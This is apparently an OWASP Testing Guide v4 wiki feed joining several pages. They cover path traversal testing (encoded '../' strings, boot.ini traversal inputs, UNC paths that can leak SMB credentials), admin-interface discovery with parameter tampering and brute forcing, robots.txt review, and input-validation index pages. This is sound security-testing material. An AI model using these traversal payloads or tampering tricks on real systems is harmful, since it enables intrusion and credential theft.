Each operating system uses different characters as path separator:

''Unix-like OS'':
<pre>
root directory: "/"
directory separator: "/"
</pre>

''Windows OS' Shell':
<pre>
root directory: "<drive letter>:\"
directory separator: "\" or "/"
</pre>

''Classic Mac OS'':
<pre>
root directory: "<drive letter>:"
directory separator: ":"
</pre>
<br>

We should take in to account the following character encoding mechanisms:

* URL encoding and double URL encoding

<pre>
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.
</pre>

* Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)

<pre>
..%c0%af represents ../
..%c1%9c represents ..\
</pre>
<br>

There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.

* ''Windows shell'': Appending any of the following to paths used in a shell command results in no difference in function:
** Angle brackets ">" and "<" at the end of the path
** Double quotes (closed properly) at the end of the path
** Extraneous current directory markers such as "./" or ".\"
** Extraneous parent directory markers with arbitrary items that may or may not exist
*: Examples:<br>

<pre>
– file.txt
– file.txt...
– file.txt<spaces>
– file.txt””””
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt
</pre>

* ''Windows API'': The following items are discarded when used in any shell command or API call where a string is taken as a filename:<br>
<pre>
periods
spaces
</pre>

* ''Windows UNC Filepaths'': Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.<br>
<pre>
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc
</pre>

* ''Windows NT Device Namespace'': Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
** May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.<br><pre>\\.\GLOBALROOT\Device\HarddiskVolume1\</pre>
** Refers to the first disc drive on the machine.<br><pre>\\.\CdRom0\</pre>

=== Gray Box testing ===
When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (''stage ('''a''') of the testing'') more easily and accurately. During a source code review, they can use simple tools (such as the ''grep'' command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.

<pre>
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
</pre>

Using online code search engines (e.g., Ohloh Code[http://code.ohloh.net/]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.

For PHP, testers can use:
<pre>
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
</pre>
<br>

Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.

Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality.

Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.

Consider a web application with these instructions:
<pre>
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
</pre>

Testing for the flaw is achieved by:
<pre>
file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini
</pre>
<br>

==Tools==
* DotDotPwn - The Directory Traversal Fuzzer - http://dotdotpwn.sectester.net
* Path Traversal Fuzz Strings (from WFuzz Tool) - http://code.google.com/p/wfuzz/source/browse/trunk/wordlist/Injections/Traversal.txt
* Web Proxy (''Burp Suite''[http://portswigger.net], ''Paros''[http://www.parosproxy.org/index.shtml], ''WebScarab''[http://www.owasp.org/index.php/OWASP_WebScarab_Project],''OWASP: Zed Attack Proxy (ZAP)''[https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project])
* Enconding/Decoding tools
* String searcher "grep" - http://www.gnu.org/software/grep/

== References ==
'''Whitepapers'''
* phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html[http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.html]
* Windows File Pseudonyms: Pwnage and Poetry - http://www.slideshare.net/BaronZor/windows-file-pseudonyms[http://www.slideshare.net/BaronZor/windows-file-pseudonyms]
<br>

Testing for Path Traversal (OTG-AUTHZ-001)

2014-08-08T12:44:55Z

Andrew Muller: Andrew Muller moved page Testing for Path Traversal (OTG-AUTHZ-001) to Testing Directory traversal/file include (OTG-AUTHZ-001)

#REDIRECT [[Testing Directory traversal/file include (OTG-AUTHZ-001)]]

Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)

2014-08-08T12:44:55Z

Andrew Muller: Andrew Muller moved page Talk:Testing for Path Traversal (OTG-AUTHZ-001) to Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)

Daniel Crowley sez:
There was some uncited and mangled material from a presentation of mine, so I cleaned it up for accuracy/clarity and cited my presentation.

Talk:Testing for Path Traversal (OTG-AUTHZ-001)

2014-08-08T12:44:55Z

Andrew Muller: Andrew Muller moved page Talk:Testing for Path Traversal (OTG-AUTHZ-001) to Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)

#REDIRECT [[Talk:Testing Directory traversal/file include (OTG-AUTHZ-001)]]

Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)

2014-08-08T12:40:46Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
<br>
Administrator interfaces may be present in the application or on the application server to allow certain users to undertake privileged activities on the site. Tests should be undertaken to reveal if and how this privileged functionality can be accessed by an unauthorized or standard user.
<br>

An application may require an administrator interface to enable a privileged user to access functionality that may make changes to how the site functions. Such changes may include:

*user account provisioning<br>
*site design and layout<br>
*data manipulation<br>
*configuration changes<br>

In many instances, such interfaces do not have sufficient controls to protect them from unauthorized access. Testing is aimed at discovering these administrator interfaces and accessing functionality intended for the privileged users.

==How to Test==
=== Black Box Testing ===
The following section describes vectors that may be used to test for the presence of administrative interfaces. These techniques may also be used to test for related issues including privilege escalation, and are described elsewhere in this guide(for example [[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)| Testing for bypassing authorization schema (OTG-AUTHZ-002)]] and [[Testing for Insecure Direct Object References (OTG-AUTHZ-004)| Testing for Insecure Direct Object References (OTG-AUTHZ-004)]] in greater detail.

* Directory and file enumeration. An administrative interface may be present but not visibly available to the tester. Attempting to guess the path of the administrative interface may be as simple as requesting: ''/admin or /administrator etc..'' or in some scenarios can be revealed within seconds using [http://www.exploit-db.com/google-dorks Google dorks].
* There are many tools available to perform brute forcing of server contents, see the tools section below for more information. * A tester may have to also identify the file name of the administration page. Forcibly browsing to the identified page may provide access to the interface.
* Comments and links in source code. Many sites use common code that is loaded for all site users. By examining all source sent to the client, links to administrator functionality may be discovered and should be investigated.
* Reviewing server and application documentation. If the application server or application is deployed in its default configuration it may be possible to access the administration interface using information described in configuration or help documentation. Default password lists should be consulted if an administrative interface is found and credentials are required.
* Publicly available information. Many applications such as wordpress have default administrative interfaces .
* Alternative server port. Administration interfaces may be seen on a different port on the host than the main application. For example, Apache Tomcat's Administration interface can often be seen on port 8080.
* Parameter tampering. A GET or POST parameter or a cookie variable may be required to enable the administrator functionality. Clues to this include the presence of hidden fields such as:

<input type="hidden" name="admin" value="no">

or in a cookie:

Cookie: session_cookie; useradmin=0

Once an administrative interface has been discovered, a combination of the above techniques may be used to attempt to bypass authentication. If this fails, the tester may wish to attempt a brute force attack. In such an instance the tester should be aware of the potential for administrative account lockout if such functionality is present.

=== Gray Box Testing ===
A more detailed examination of the server and application components should be undertaken to ensure hardening (i.e. administrator pages are not accessible to everyone through the use of IP filtering or other controls), and where applicable, verification that all components do not use default credentials or configurations.
<br>

Source code should be reviewed to ensure that the authorization and authentication model ensures clear separation of duties between normal users and site administrators. User interface functions shared between normal and administrator users should be reviewed to ensure clear separation between the drawing of such components and information leakage from such shared functionality.
<br>

== Tools ==
* [https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project Dirbuster] This currently inactive OWASP project is still a great tool for brute forcing directories and files on the server.
* [https://www.thc.org/thc-hydra/ THC-HYDRA] is a tool that allows brute-forcing of many interfaces, including form-based HTTP authentication.
*A brute forcer is much better when it uses a good dictionary, for example the [https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/ netsparker] dictionary.

== References ==
* Default Password list: http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php
* Default Password list: http://www.cirt.net/passwords

Review Webserver Metafiles for Information Leakage (OTG-INFO-003)

2014-08-08T12:37:51Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
This section describes how to test the robots.txt file for information leakage of the web application's directory or folder path(s). Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [[Map_execution_paths_through_application_(OTG-INFO-007) |Map execution paths through application (OTG-INFO-007)]]

== Test Objectives ==
1. Information leakage of the web application's directory or folder path(s).

2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers.

== How to Test ==
===robots.txt===
Web Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the ''Robots Exclusion Protocol'' of the robots.txt file in the web root directory [1].
<br>

As an example, the beginning of the robots.txt file from http://www.google.com/robots.txt sampled on 11 August 2013 is quoted below:
<pre>
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
</pre>

The ''User-Agent'' directive refers to the specific web spider/robot/crawler. For example the ''User-Agent: Googlebot'' refers to the spider from Google while "User-Agent: bingbot"[http://www.bing.com/blogs/site_blogs/b/webmaster/archive/2010/06/28/bing-crawler-bingbot-on-the-horizon.aspx] refers to crawler from Microsoft/Yahoo!. ''User-Agent: *'' in the example above applies to all web spiders/robots/crawlers [2] as quoted below:
<pre>
User-agent: *
</pre>

The ''Disallow'' directive specifies which resources are prohibited by spiders/robots/crawlers. In the example above, directories such as the following are prohibited:
<pre>
...
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
Disallow: /catalogs
...
</pre>

Web spiders/robots/crawlers can intentionally ignore the ''Disallow'' directives specified in a robots.txt file [3], such as those from Social Networks[https://www.htbridge.com/news/social_networks_can_robots_violate_user_privacy.html] to ensure that shared linked are still valid. Hence, robots.txt should not be considered as a mechanism to enforce restrictions on how web content is accessed, stored, or republished by third parties.
<br>

'''robots.txt in webroot - with "wget" or "curl"<br>

The robots.txt file is retrieved from the web root directory of the web server. For example, to retrieve the robots.txt from www.google.com using "wget" or "curl":
<pre>
cmlh$ wget http://www.google.com/robots.txt
--2013-08-11 14:40:36-- http://www.google.com/robots.txt
Resolving www.google.com... 74.125.237.17, 74.125.237.18, 74.125.237.19, ...
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: ‘robots.txt.1’

[ <=> ] 7,074 --.-K/s in 0s

2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
</pre>
<pre>
cmlh$ curl -O http://www.google.com/robots.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312

cmlh$ head -n5 robots.txt
User-agent: *
Disallow: /search
Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$
</pre>

'''robots.txt in webroot - with rockspider'''<br>
"rockspider"[https://github.com/cmlh/rockspider/releases] automates the creation of the initial scope for Spiders/Robots/Crawlers of files and directories/folders of a web site.

For example, to create the initial scope based on the Allowed: directive from www.google.com using "rockspider"[https://github.com/cmlh/rockspider/releases]:
<pre>
cmlh$ ./rockspider.pl -www www.google.com

"Rockspider" Alpha v0.1_2

Copyright 2013 Christian Heinrich
Licensed under the Apache License, Version 2.0

1. Downloading http://www.google.com/robots.txt
2. "robots.txt" saved as "www.google.com-robots.txt"
3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080
/catalogs/about sent
/catalogs/p? sent
/news/directory sent
...
4. Done.

cmlh$
</pre>

'''Analyze robots.txt using Google Webmaster Tools'''<br>
Web site owners can use the Google "Analyze robots.txt" function to analyse the website as part of its "Google Webmaster Tools" (https://www.google.com/webmasters/tools). This tool can assist with testing and the procedure is as follows:

1. Sign into Google Webmaster Tools with a Google account.<br>
2. On the dashboard, write the URL for the site to be analyzed.<br>
3. Choose between the available methods and follow the on screen instruction.<br>

===META Tag===

<META> tags are located within the HEAD section of each HTML Document and should be consistent across a web site in the likely event that the robot/spider/crawler start point does not begin from a document link other than webroot i.e. a "deep link"[http://en.wikipedia.org/wiki/Deep_linking].

If there is no "<META NAME="ROBOTS" ... >" entry then the "Robots Exclusion Protocol" defaults to "INDEX,FOLLOW" respectively. Therefore, the other two valid entries defined by the "Robots Exclusion Protocol" are prefixed with "NO..." i.e. "NOINDEX" and "NOFOLLOW".

Web spiders/robots/crawlers can intentionally ignore the "<META NAME="ROBOTS"" tag as the robots.txt file convention is preferred. Hence, <b><META> Tags should not be considered the primary mechanism, rather a complementary control to robots.txt</b>.

'''<META> Tags - with Burp'''<br>

Based on the Disallow directive(s) listed within the robots.txt file in webroot, a regular expression search for "<META NAME="ROBOTS"" within each web page is undertaken and the result compared to the robots.txt file in webroot.

For example, the robots.txt file from facebook.com has a "Disallow: /ac.php" entry[http://facebook.com/robots.txt] and the resulting search for "<META NAME="ROBOTS"" shown below:
<br>
[[File:CMLH-Meta Tag Example-Facebook-Aug 2013.png]]
<br>

The above might be considered a fail since "INDEX,FOLLOW" is the default <META> Tag specified by the "Robots Exclusion Protocol" yet "Disallow: /ac.php" is listed in robots.txt.

== Tools ==

* Browser (View Source function)
* curl
* wget
* rockspider[https://github.com/cmlh/rockspider/releases]

== References ==
'''Whitepapers'''<br>
* [1] "The Web Robots Pages" - http://www.robotstxt.org/
* [2] "Block and Remove Pages Using a robots.txt File" - https://support.google.com/webmasters/answer/156449
* [3] "(ISC)2 Blog: The Attack of the Spiders from the Clouds" - http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html
* [4] "Telstra customer database exposed" - http://www.smh.com.au/it-pro/security-it/telstra-customer-database-exposed-20111209-1on60.html
<br>

Testing for weak Cryptography

2014-08-08T12:35:09Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

''' 4.10 Testing for weak Cryptography '''
----

[[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)| 4.10.1 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]

[[Testing for Padding Oracle (OTG-CRYPST-002)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-002)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]

Testing for Input Validation

2014-08-08T12:34:02Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

''' 4.8 Input Validation Testing '''
----

The most common web application security weakness is the failure to properly validate input coming from the client or from the environment before using it. This weakness leads to almost all of the major vulnerabilities in web applications, such as cross site scripting, SQL injection, interpreter injection, locale/Unicode attacks, file system attacks, and buffer overflows.

Data from an external entity or client should never be trusted, since it can be arbitrarily tampered with by an attacker. "All Input is Evil", says Michael Howard in his famous book "Writing Secure Code". That is rule number one. Unfortunately, complex applications often have a large number of entry points, which makes it difficult for a developer to enforce this rule. This chapter describes Data Validation testing. This is the task of testing all the possible forms of input to understand if the application sufficiently validates input data before using it.

Input validation testing is split into the following categories:<br>

'''Testing for Cross site scripting'''<br>
Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the application so that it generates malicious output. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -> Output == cross-site scripting.

In this guide, the following types of XSS testing are discussed in details:<br>
[[Testing for Reflected Cross site scripting (OTG-INPVAL-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001) ]]<br>
[[Testing for Stored Cross site scripting (OTG-INPVAL-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002) ]]<br>

Client side XSS testing, such as DOM XSS and Cross site Flashing is discussed in the Client Side testing section.

'''Testing for HTTP Verb Tampering and Parameter Pollution'''
HTTP Verb Tampering tests the web application's response to different HTTP methods accessing system objects. For every system object discovered during spidering, the tester should attempt accessing all of those objects with every HTTP method.
HTTP Parameter Pollution tests the applications response to receiving multiple HTTP parameters with the same name. For example, if the parameter ''username'' is included in the GET or POST parameters twice, which one is honoured, if any.

HTTP Verb Tampering is described in

[[Testing for HTTP Verb Tampering (OTG-INPVAL-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]]

and HTTP Parameter testing techniques are presented in

[[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]]

'''[[Testing for SQL Injection (OTG-INPVAL-005)|4.8.5 SQL Injection (OTG-INPVAL-005)]]<br>'''
SQL injection testing checks if it is possible to inject data into the application so that it executes a user-controlled SQL query in the back-end database. Testers find an SQL injection vulnerability if the application uses user input to create SQL queries without proper input validation. A successful exploitation of this class of vulnerability allows an unauthorized user to access or manipulate data in the database. Note that application data often represents the core asset of a company. An SQL Injection attack breaks the following pattern:
Input -> Query SQL == SQL injection

SQL Injection testing is further broken down by product or vendor:<br>
[[Testing for Oracle |4.8.5.1 Oracle Testing]]<br>
[[Testing for MySQL |4.8.5.2 MySQL Testing ]]<br>
[[Testing for SQL Server |4.8.5.3 SQL Server Testing ]]<br>
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL]]<br>
[[Testing for MS Access|4.8.5.5 MS Access Testing]]<br>
[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection]]<br>

'''[[Testing for LDAP Injection (OTG-INPVAL-006) |4.8.6 LDAP Injection (OTG-INPVAL-006)]]<br>'''
LDAP injection testing is similar to SQL Injection testing. The differences are that testers use the LDAP protocol instead of SQL and the target is an LDAP Server instead of a SQL Server.
An LDAP Injection attack breaks the following pattern:<br>
Input -> Query LDAP == LDAP injection<br>

'''[[Testing for ORM Injection (OTG-INPVAL-007) |4.8.7 ORM Injection (OTG-INPVAL-007)]]<br>'''
ORM injection testing is similar to SQL Injection Testing. In this case, testers use a SQL Injection against an ORM-generated data access object model. From the tester's point of view, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in the code generated by an ORM tool.<br>

'''[[Testing for XML Injection (OTG-INPVAL-008) |4.8.8 XML Injection (OTG-INPVAL-008)]]<br>'''
XML injection testing checks if it possible to inject a particular XML document into the application. Testers find an XML injection vulnerability if the XML parser fails to make appropriate data validation.<br>
An XML Injection attack breaks the following pattern:<br>
Input -> XML doc == XML injection<br>

'''[[Testing for SSI Injection (OTG-INPVAL-009) |4.8.9 SSI Injection (OTG-INPVAL-009)]]<br>'''
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by Server-Side Includes (SSI) Injection. In SSI injection testing, testers check if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.<br>

'''[[Testing for XPath Injection (OTG-INPVAL-010) |4.8.10 XPath Injection (OTG-INPVAL-010)]]<br>'''
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, testers check if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization.<br>

'''[[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)|4.8.11 IMAP/SMTP Injection (OTG-INPVAL-011)]]<br>'''
This threat affects all the applications that communicate with mail servers (IMAP/SMTP), generally web mail applications. In IMAP/SMTP injection testing, testers check if it possible to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not properly sanitized. <br>
An IMAP/SMTP Injection attack breaks the following pattern:<br>
Input -> IMAP/SMTP command == IMAP/SMTP Injection<br>

'''[[Testing for Code Injection (OTG-INPVAL-012)|4.8.12 Code Injection (OTG-INPVAL-012)]]<br>'''
Code injection testing checks if it is possible to inject into an application data that will be later executed by the web server.<br>
A Code Injection attack breaks the following pattern:<br>
Input -> malicious Code == Code Injection<br>

'''[[Testing for Command Injection (OTG-INPVAL-013)|4.8.13 OS Commanding (OTG-INPVAL-013)]]<br>'''
In command injection testing testers will try to inject an OS command through an HTTP request into the application.<br>
An OS Command Injection attack breaks the following pattern:<br>
Input -> OS Command == OS Command Injection<br>

'''[[Testing for Buffer Overflow (OTG-INPVAL-014)|4.8.14 Buffer overflow (OTG-INPVAL-014)]]<br>'''
In these tests, testers check for different types of buffer overflow vulnerabilities. Here are the testing methods for the common types of buffer overflow vulnerabilities:<br>
[[Testing for Heap Overflow |4.8.14.1 Heap overflow ]]<br>
[[Testing for Stack Overflow |4.8.14.2 Stack overflow ]]<br>
[[Testing for Format String |4.8.14.3 Format string ]]<br>

In general Buffer overflow breaks the following pattern:<br>
Input -> Fixed buffer or format string == overflow<br>

'''[[Testing for Incubated Vulnerability (OTG-INPVAL-015) |4.8.15 Incubated vulnerability (OTG-INPVAL-015)]] <br>'''
Incubated testing is a complex testing that needs more than one data validation vulnerability to work.<br>

[[Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)]]<br>
Describes how to test for an HTTP Exploit, as HTTP Verb, HTTP Splitting, HTTP Smuggling.

In every pattern shown, the data should be validated by the application before it's trusted and processed. The goal of testing is to verify if the application actually performs validation and does not trust its input.